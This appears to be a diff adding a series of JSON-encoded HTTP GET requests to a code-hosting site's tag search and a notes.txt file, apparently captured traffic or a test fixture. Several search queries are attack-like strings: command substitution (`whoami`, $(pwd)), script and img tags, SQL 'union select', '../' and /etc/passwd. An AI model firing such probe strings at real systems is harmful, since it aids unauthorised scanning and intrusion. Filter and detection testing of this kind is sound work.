+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
